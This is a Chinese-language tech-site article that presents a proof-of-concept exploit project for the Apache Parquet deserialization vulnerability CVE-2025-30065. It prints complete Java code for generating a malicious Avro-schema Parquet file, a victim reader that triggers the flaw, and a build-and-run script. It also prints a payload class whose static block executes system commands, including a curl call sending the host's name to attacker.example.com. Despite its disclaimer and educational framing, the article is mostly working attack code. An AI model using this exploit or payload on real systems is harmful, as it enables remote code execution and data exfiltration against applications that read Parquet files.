news 2026/6/10 11:03:37

深入解析Apache Parquet高危反序列化漏洞CVE-2025-30065

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
深入解析Apache Parquet高危反序列化漏洞CVE-2025-30065

Apache Parquet CVE-2025-30065 漏洞概念验证

项目标题与描述

这是一个针对Apache Parquet Java库高危反序列化漏洞CVE-2025-30065的概念验证(PoC)项目。该项目演示了如何通过精心构造的Avro模式,在Parquet文件中嵌入恶意负载,从而在目标系统读取文件时触发任意Java类的实例化。该漏洞的CVSS评分为10.0(严重)。本工具仅供授权的安全研究和教育目的使用,旨在帮助安全研究人员和开发者理解漏洞原理,并采取适当的防护措施。

⚠️ 免责声明:本工具仅用于教育研究和授权测试。严禁用于非法入侵或攻击。使用者需遵守相关法律法规。

功能特性

  • 漏洞复现:完整复现CVE-2025-30065漏洞的利用链,从生成恶意文件到触发漏洞。
  • 双重负载机制
    • 主利用(ParquetExploitGenerator)使用标准Java类javax.swing.JEditorPane演示逻辑利用。
    • 遗留负载类(PayloadRecord)包含静态代码块,展示如何在类加载时执行系统命令(如启动计算器或发送网络请求),具体行为根据操作系统自适应。
  • 自动化构建与执行:提供Shell脚本(CVE-2025-30065.sh),自动化处理Maven依赖解析、代码编译和PoC链的完整执行。
  • 模块化设计:代码结构清晰,分为利用生成器(ExploitGenerator)、负载(PayloadRecord)和受害者模拟程序(ParquetVictim),便于理解和分析。
  • 教育导向:项目附带详细的漏洞分析、风险说明、防护建议和安全清单,是学习反序列化漏洞和Parquet/Avro内部机制的优秀资源。

安装指南

系统要求

  • Java 8或更高版本
  • Apache Maven(用于自动解析和下载项目依赖)
  • 支持Linux、macOS或Windows(通过Shell脚本或手动命令)

安装步骤

  1. 克隆或下载项目代码到本地目录。
  2. 确保Maven已正确安装。可以在终端运行mvn -v来验证。
  3. 为构建脚本添加执行权限(仅限Unix/Linux/macOS系统):
    chmod+x CVE-2025-30065.sh
  4. 运行自动化脚本(推荐):
    ./CVE-2025-30065.sh
    该脚本会自动执行以下操作:
    • 使用Maven解析并下载所需的依赖库(如parquet-avro,parquet-hadoop,avro等)。
    • 编译所有Java源文件。
    • 依次运行利用生成器和受害者模拟程序。

手动编译与运行(可选)

如果希望分步执行或调试,可以参考脚本CVE-2025-30065.sh中的命令序列。

使用说明

运行自动化脚本./CVE-2025-30065.sh是最简单的使用方式。脚本执行后,你将看到如下流程:

  1. 依赖解析:脚本使用Maven生成项目的类路径文件(cp.txt)。
  2. 编译负载:首先编译PayloadRecord.java
  3. 生成恶意文件:编译并运行ParquetExploitGenerator,它将在当前目录生成一个名为exploit-jeditorpane.parquet的Parquet文件。该文件包含一个精心构造的Avro模式,其default值被设置为实例化javax.swing.JEditorPane类。
  4. 模拟受害者:编译并运行ParquetVictim,该程序会读取上一步生成的Parquet文件。在读取记录时,由于Avro反序列化逻辑,会尝试实例化模式中定义的default值,从而触发JEditorPane的实例化。如果使用原始的PayloadRecord负载,则可能执行相应的系统命令。

核心代码详解

1. 恶意Parquet文件生成器 (ParquetExploitGenerator.java)

这是漏洞利用的核心。它不依赖自定义类,而是利用一个已知在反序列化时会产生副作用(如发起网络请求)的标准Java类。

/** * @author Blackash * @version 1.3 * @license For authorized security research and educational purposes only. * * Generates a Parquet file with a crafted Avro schema to demonstrate CVE-2025-30065, * aligned with the vulnerability logic observed in the official Apache patch. * * This version avoids using custom classes and instead leverages a standard Java class * (javax.swing.JEditorPane) known to exhibit side effects when deserialized. */importorg.apache.avro.Schema;importorg.apache.hadoop.conf.Configuration;importorg.apache.hadoop.fs.Path;importorg.apache.parquet.avro.AvroParquetWriter;importorg.apache.parquet.hadoop.ParquetWriter;importjava.io.IOException;publicclassParquetExploitGenerator{publicstaticvoidmain(String[]args)throwsIOException{StringoutputFile=args.length>0?args[0]:"exploit-jeditorpane.parquet";// 构造恶意Avro模式。关键点在于`trigger`字段的类型定义为一个名为`javax.swing.JEditorPane`的记录,// 并设置了`default: {}`。这会导致在反序列化时,Avro尝试实例化这个“记录”,// 实际上就是实例化`javax.swing.JEditorPane`类。StringmaliciousSchema="{"+"\"type\": \"record\","+"\"name\": \"ExploitRecord\","+"\"fields\": ["+" {\"name\": \"trigger\","+" \"type\": {\"type\": \"record\", \"name\": \"javax.swing.JEditorPane\", \"fields\": []},"+" \"default\": {}"+" }"+"]"+"}";Schemaschema=newSchema.Parser().parse(maliciousSchema);Pathpath=newPath(outputFile);Configurationconf=newConfiguration();// 使用AvroParquetWriter将模式写入Parquet文件。try(ParquetWriter<Object>writer=AvroParquetWriter.builder(path).withSchema(schema).withConf(conf).build()){writer.write(null);// 写入一个空记录,模式本身已包含恶意定义。}System.out.println("[+] Malicious Parquet file generated: "+outputFile);System.out.println("[!] Schema instantiates javax.swing.JEditorPane via default value.");}}
2. 可执行命令的负载类 (PayloadRecord.java)

这是一个传统的PoC负载,展示了如果攻击者能控制类路径,可以如何执行任意代码。其静态代码块在类被加载时即会运行。

packageexploit;importjava.io.BufferedReader;importjava.io.InputStreamReader;publicclassPayloadRecord{static{// 静态代码块,在类首次被加载到JVM时执行。try{Stringos=System.getProperty("os.name").toLowerCase();Stringcmd;// 根据操作系统选择不同的命令,实现跨平台利用。if(os.contains("win")){cmd="cmd.exe /c start calc";// Windows: 启动计算器}elseif(os.contains("mac")){cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator";// macOS: 启动计算器}else{// Linux/Unix: 发送HTTP请求到攻击者服务器,可用于信息探测。cmd="curl http://attacker.example.com/ping?host="+java.net.InetAddress.getLocalHost().getHostName();}// 执行系统命令Processprocess=Runtime.getRuntime().exec(cmd);try(BufferedReaderreader=newBufferedReader(newInputStreamReader(process.getInputStream()))){Stringline;while((line=reader.readLine())!=null){System.out.println("[Payload Output] "+line);}}}catch(Exceptione){System.err.println("[Payload Error] "+e.getMessage());e.printStackTrace();}}}
3. 受害者模拟程序 (ParquetVictim.java)

模拟一个使用了parquet-avro库的普通应用程序,它读取并解析Parquet文件,从而触发漏洞。

packagevictim;importorg.apache.avro.generic.GenericRecord;importorg.apache.parquet.avro.AvroParquetReader;importorg.apache.parquet.hadoop.ParquetReader;importorg.apache.hadoop.conf.Configuration;importorg.apache.hadoop.fs.Path;publicclassParquetVictim{publicstaticvoidmain(String[]args)throwsException{// 读取由ExploitGenerator生成的恶意Parquet文件。Pathpath=newPath("exploit.parquet");// 注意:此文件名需与实际生成的文件名匹配。ParquetReader<GenericRecord>reader=AvroParquetReader.<GenericRecord>builder(path).withConf(newConfiguration()).build();// 读取记录。这一行代码会触发Avro的反序列化过程。// 如果文件中定义的default值对应的类(如JEditorPane或PayloadRecord)在类路径上,// 并且反序列化逻辑允许实例化它,那么静态代码块或构造器中的代码将被执行。GenericRecordrecord=reader.read();System.out.println("Record loaded: "+record);// 这行日志输出时,漏洞可能已被触发。}}
4. 自动化构建与执行脚本 (CVE-2025-30065.sh)

此Bash脚本封装了整个PoC的构建和执行流程,确保环境一致且易于运行。

#!/bin/bashBASE_DIR=$(pwd)BUILD_DIR="$BASE_DIR/build/classes"CP_FILE="$BASE_DIR/cp.txt"JAR_DEPS=""# 检查并利用Maven解析项目依赖,生成类路径文件(cp.txt)。ifcommand-v mvn&>/dev/null;thenecho"[+] Resolving dependencies with Maven..."mvn dependency:build-classpath -Dmdep.outputFile=cp.txt>/dev/nullif[!-f"$CP_FILE"];thenecho"[-] Failed to generate classpath (cp.txt)."exit1fiJAR_DEPS=$(cat"$CP_FILE")elseecho"[-] Maven not found. Please install Maven and run again."exit1fi# 创建编译输出目录mkdir-p"$BUILD_DIR"echo"[+] Compiling PayloadRecord.java..."javac -d"$BUILD_DIR"PayloadRecord.java||exit1echo"[+] Compiling ParquetExploitGenerator..."javac -cp".:$BUILD_DIR:$JAR_DEPS"-d"$BUILD_DIR"POC-CVE-2025-30065-ParquetExploitGenerator.java||exit1echo"[+] Running exploit generator..."java -cp".:$BUILD_DIR:$JAR_DEPS"POC-CVE-2025-30065-ParquetExploitGenerator||exit1echo"[+] Compiling ParquetVictim.java..."javac -cp".:$BUILD_DIR:$JAR_DEPS"-d"$BUILD_DIR"ParquetVictim.java||exit1echo"[+] Running victim (payload should trigger)..."java -cp".:$BUILD_DIR:$JAR_DEPS"ParquetVictim

6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANaOlEHDyHndY+aTga6WrV6
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 0:47:31

notepad++语法高亮配置:提升万物识别代码阅读效率

notepad语法高亮配置&#xff1a;提升万物识别代码阅读效率 背景与痛点&#xff1a;中文通用领域下的代码可读性挑战 在人工智能快速发展的今天&#xff0c;万物识别-中文-通用领域的技术应用正变得越来越广泛。这类技术不仅需要处理复杂的视觉信息&#xff0c;还要求开发者能够…

作者头像 李华
网站建设 2026/6/10 13:11:29

5分钟搭建波特率原型

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 快速创建一个波特率概念验证原型&#xff0c;展示核心功能和用户体验。点击项目生成按钮&#xff0c;等待项目生成完整后预览效果 今天想和大家分享一个快速验证波特率相关想法的经…

作者头像 李华
网站建设 2026/6/10 13:06:48

AI产品经理必看:如何用云端GPU快速对比3大万物识别模型

AI产品经理必看&#xff1a;如何用云端GPU快速对比3大万物识别模型 作为AI产品经理或开发者&#xff0c;评估不同视觉识别模型在实际场景中的表现是产品设计的关键环节。本文将介绍如何利用云端GPU环境快速对比三大主流万物识别模型——Meta的SAM&#xff08;Segment Anything …

作者头像 李华
网站建设 2026/6/10 13:11:45

Zilliz出海业务负责人乔丹:向量数据库破研发瓶颈,AI赋能范本转移|2025极新AIGC峰会演讲实录

2025年12月26日&#xff0c;【想象2025极新AIGC峰会】在上海浦东浦软大厦成功召开。Zilliz出海业务负责人乔丹先生在会上做了题为《向量数据库对研发范本转移的影响》的演讲&#xff0c;从非结构化数据特点、大模型幻觉解决到向量技术应用场景&#xff0c;深入解析了向量数据库…

作者头像 李华
网站建设 2026/6/9 19:53:57

对比:传统下载vs智能安装Python的3倍效率差

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 创建一个Python安装效率对比工具&#xff0c;包含两个模式&#xff1a;1.传统手动安装流程模拟 2.智能一键安装流程。要求&#xff1a;1.记录每个步骤耗时 2.生成对比图表 3.统计常…

作者头像 李华
网站建设 2026/6/10 13:04:41

低代码实现:用现成模块搭建万物识别应用

低代码实现&#xff1a;用现成模块搭建万物识别应用 作为一名非技术背景的业务人员&#xff0c;你是否曾想过利用AI技术快速识别图片中的物体、场景或人物&#xff0c;却苦于不会编程&#xff1f;本文将介绍如何通过预置的AI模块&#xff0c;以零代码方式搭建一个万物识别应用。…

作者头像 李华